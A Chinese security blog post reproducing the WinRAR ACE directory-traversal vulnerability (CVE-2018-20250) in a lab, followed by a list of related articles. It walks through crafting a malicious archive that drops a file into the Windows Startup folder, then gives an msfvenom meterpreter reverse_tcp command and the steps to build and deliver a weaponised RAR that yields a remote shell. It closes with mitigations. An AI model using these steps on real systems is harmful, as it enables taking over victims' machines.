【漏洞复现】WinRAR目录穿越漏洞(CVE-2018-20250)复现
前言
这漏洞出来几天了,之前没怎么关注,但是这两天发现开始有利用这个漏洞进行挖矿和病毒传播了,于是想动手复现一波。
WinRAR 代码执行相关的CVE 编号如下:
CVE-2018-20250,CVE-2018-20251, CVE-2018-20252, CVE-2018-20253
这里我们复现最开始的WinRAR目录穿越漏洞(CVE-2018-20250)。
漏洞详情
原理:
WinRAR目录穿越漏洞(CVE-2018-20250):
该漏洞是由于WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,该动态链接库在2006 年被编译,没有任何的基础保护机制(ASLR,DEP 等)。该动态链接库的作用是处理ACE 格式文件。而在解压处理过程中存在一处目录穿越漏洞,允许解压过程写入文件至开机启动项,导致代码执行。
影响版本:
WinRAR < 5.70 Beta 1
Bandizip < = 6.2.0.0
好压(2345压缩) < = 5.9.8.10907
360压缩 < = 4.0.0.1170
漏洞利用条件:
攻击不能跨盘符,即受害者进行解压文件触发漏洞时,必须在系统盘,且在不知道计算机主机名的情况下,只能在主浏览器的默认下载路径下(C:\Users\Administrator\Downloads)或者桌面进行解压,或者多猜几个启动项路径。产生漏洞的DLL文件:UNACEV2.DLL,不能识别相对路径,文件名部分必须为绝对路径。
以下是几种机器的开机启动项路径,可以看到在个人PC上受用户名影响,无法猜测到准确的路径,而服务器上一般不会修改用户名,所以这个漏洞在服务器上利用度比较高。
Win2003开机启动项路径:C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
Win2008开机启动项路径:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Win2012开机启动项路径:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Win7 开机启动项路径:C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Win10 开机启动项路径:C:\Users\用户\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 本次试验使用的是Win2008,
漏洞复现
环境工具:
服务器:Win2008 R2
WinRAR 5.60简体中文版:https://www.rarlab.com/rar/winrar-x64-560sc.exe
Python-3.7.2-amd64.exe:https://www.python.org/ftp/python/3.7.2/python-3.7.2-amd64.exe
010Editor:https://download.sweetscape.com/010EditorWin64Installer901.exe
Wace和模板文件:https://github.com/360-A-Team/CVE-2018-20250
EXP:https://github.com/WyAtu/CVE-2018-20250
漏洞复现:
这里我们写一个bat,进行弹窗演示:

然后打开WinAce,选中我们创建的文件,右键,点击Add to...

利用WinACE进行压缩,这里选择store full path。

生成之后我们利用脚本检查一下我们生成的文件1.ace的header信息:

这里几个是我们需要修改的参数。
在010Edit工具中打开刚才生成的1.ace文件,将文件路径替换为启动项路径如下,然后可以看到新的完整的文件路径长度为93,转换为16进制后为:5D。

修改完这两个地方之后点击保存,接着还需要修改hdr_size。


这三个地方修改完成之后点击保存。
最后利用acefile.py重新查看文件header信息。修改acefile.py,在3061行处添加以下语句,输出文件hdr_crc。

print("[+] right_hdr_crc : {} | struct {} ".format(hex(ace_crc16(buf)),struct.pack('<H', ace_crc16(buf))))
print("[*] current_hdr_crc : {} | struct {}".format(hex(hcrc),struct.pack('<H', hcrc)))

可以看到当前的hdr_crc为:16 9A,我们要把它改为E4 A3,保存之后重新查看文件header信息。

修改完成,将文件另存为1.rar。

选择解压到当前文件夹或解压到文件夹1都可以,可以看到bat文件成功解压到开机启动项里。

重启电脑查看效果。

复现成功,自动运行bat文件弹窗。
MSF利用
首先下载EXP:
wget https://github.com/WyAtu/CVE-2018-20250/archive/master.zip
这里我解压/root/tools目录下:

然后利用msf生成一个恶意程序,放到该目录下:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.86.129 lport=4444 -f exe -o /root/tools/CVE-2018-20250-master/test.exe
修改exp.py文件:

将evil_filename改为我们生成的恶意程序。

将py -3 改为python3,修改完成之后保存,运行以下命令:
python3 exp.py

成功生成攻击文件test.rar,只要诱导用户下载解压这个压缩文件呢,就可得到用户电脑权限,这里只演示功能,我们用python简单开启一个http服务:
python -m SimpleHTTPServer
切换到win2008,也就是我们要攻击的目标机器。下载test.rar,然后直接在下载目录解压(也可选择在桌面解压)。


可以看到在系统的启动路径下成功解压出hi.exe文件。接着我们在kali上面开启监听,然后重启win2008。

成功拿到目标机器权限。
漏洞防御
删除受影响压缩软件目录下UNACEV2.dll文件能有效防御。
升级到最新版本,WinRAR 目前版本是 5.70 Beta 1。
总而言之,该漏洞并没有那么致命。目标性的打站,得先欺骗下载,并再在未防护的服务器上解压,企业服务器管理员都很难会这样做。而且必须得服务器重启才能生效,不能直接执行脚本。
参考链接:
https://blog.csdn.net/qq_29910529/article/details/88069707
https://bbs.pediy.com/thread-249613.htm
https://www.cnblogs.com/backlion/p/10417985.html
https://mp.weixin.qq.com/s/qT-lL-kCDHJKCMCmeQq7Ng
http://www.hetianlab.com/expc.do?ce=7ebc7ed1-ab4b-4eba-9451-02954d9b7b00
笨鸟先飞早入林,笨人勤学早成材。 转载请注明出处:
撰写人:fox-yu http://www.cnblogs.com/fox-yu/
【漏洞复现】WinRAR目录穿越漏洞(CVE-2018-20250)复现的更多相关文章
- Winrar目录穿越漏洞复现
Winrar目录穿越漏洞复现 1.漏洞概述 WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在Windows环境下的图形界面.2019年 2 月 20 日Check Point团队爆出了 ...
- winrar目录穿越漏洞
地址: 参考: https://research.checkpoint.com/extracting-code-execution-from-winrar/ POC: https://github.c ...
- WinRAR目录穿越
WinRAR目录穿越漏洞浅析及复现(CVE-2018-20250) 文章来源: https://www.t00ls.net/articles-50276.html EXP: https://githu ...
- nginx目录穿越漏洞复现
nginx目录穿越漏洞复现 一.漏洞描述 Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞. 二.漏洞原理 1. 修改nginx.conf,在如下图位置添加如下配置 在如 ...
- 2020/1/31 PHP代码审计之目录穿越漏洞
0x00 目录穿越 目录穿越(Directory Traversal)攻击是黑客能够在Web应用程序所在的根目录以外的文件夹上,任意的存取被限制的文件夹,执行命令或查找数据.目录穿越攻击,也与人称为P ...
- Nginx目录穿越漏洞
Nginx (engine x) 是一个高性能的HTTP和反向代理服务器,也是一个IMAP/POP3/SMTP服务器.Nginx经常被做为反向代理,动态的部分被proxy_pass传递给后端端口,而静 ...
- nginx解析漏洞,配置不当,目录遍历漏洞环境搭建、漏洞复现
nginx解析漏洞,配置不当,目录遍历漏洞复现 1.Ubuntu14.04安装nginx-php5-fpm 安装了nginx,需要安装以下依赖 sudo apt-get install libpcre ...
- 常见web中间件漏洞(三)Nginx漏洞
nginx是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务,有 开源,内存占用少,并发能力强,自由模块化,支持epoll模型,可限制连接数,支持热部署,简单 ...
- Nginx配置不当(CRLF注入 、目录穿越)
基于vulhub漏洞环境 环境搭建参考:https://blog.csdn.net/qq_36374896/article/details/84102101 1.漏洞名称 CRLF注入 2.漏洞原理 ...
随机推荐
- iOS NSNotification通知
通知中心(NSNotificationCenter) 通知(NSNotification) 一个完整的通知一般包含3个属性:(注意顺序) - (NSString *)name; 通知的名称 - (i ...
- [BUUOJ记录] [ACTF2020 新生赛]BackupFile、Exec
两道题都比较简单,所以放到一块记下来吧,不是水博客,师傅们轻点打 BackupFile 题目提示“Try to find out source file!”,访问备份文件/index.php.bak获 ...
- vue、react等SPA应用页脚组件闪烁的解决办法
大家好,我是木瓜太香.大家在开发单页应用的时候,经常会遇到这样的需求,头部和尾部两个组件是大多数组件公用的,而中间的内容区域则是单独存在的,而且一般内容组件逻辑会比较多,如果我们不停刷新页面可能会出现 ...
- Zabbix如何监控Linux防火墙服务
今天在巡检的时候,突然想到Zabbix能否监控Linux的防火墙服务呢? 显然是可以的,但是Zabbix 5下默认的模板"Template OS Linux by Zabbix agent& ...
- vue computed实现原理
在 Vue.prototype._init 方法中的 initState 中有一个对于computed 的判断,如果有则执行 initComputed 方法初始化 computed. function ...
- java-程序流程控制
判断结构 if(条件){}; if(条件){} else{ }; if(条件){}else{};格式类似3目运算:int a=2,b;b=(a>5)?7:8;这种格式比较简便 if(条件){ } ...
- Java原生网络编程
一些常见术语 编程中的Socket是应用层与TCP/IP协议族通信的中间软件抽象层,它是一组接口.在设计模式中,Socket其实就是一个门面模式,它把复杂的TCP/IP协议族隐藏在Socket接口后面 ...
- 推荐掌握Linux shell中这7种运算命令
#常见的算术运算符号 .+.-:加减 .*./.%:乘.除.取余 .**:幂运算 .++.--:增加记减少 .!.&&.||:取反,并且,或 .<,<=,>,=> ...
- Kafka入门(4):深入消费者
摘要 在这一篇文章中,我将向你介绍消费者的一些参数. 这些参数影响了每次poll()请求的数据量,以及等待时间. 在这之后,我将向你介绍Kafka用来保证消费者扩展性以及可用性的设计--消费者组. 在 ...
- 漏洞扫描工具acunetix12会遇到的问题
1.如果安装好之后,打开工具时显示无法访问,首先去看任务管理器当中,acunetix的服务是否启动了 2.如果忘记了账号密码,可以在安装目录下,双击ChangePassword.exe进行重置密码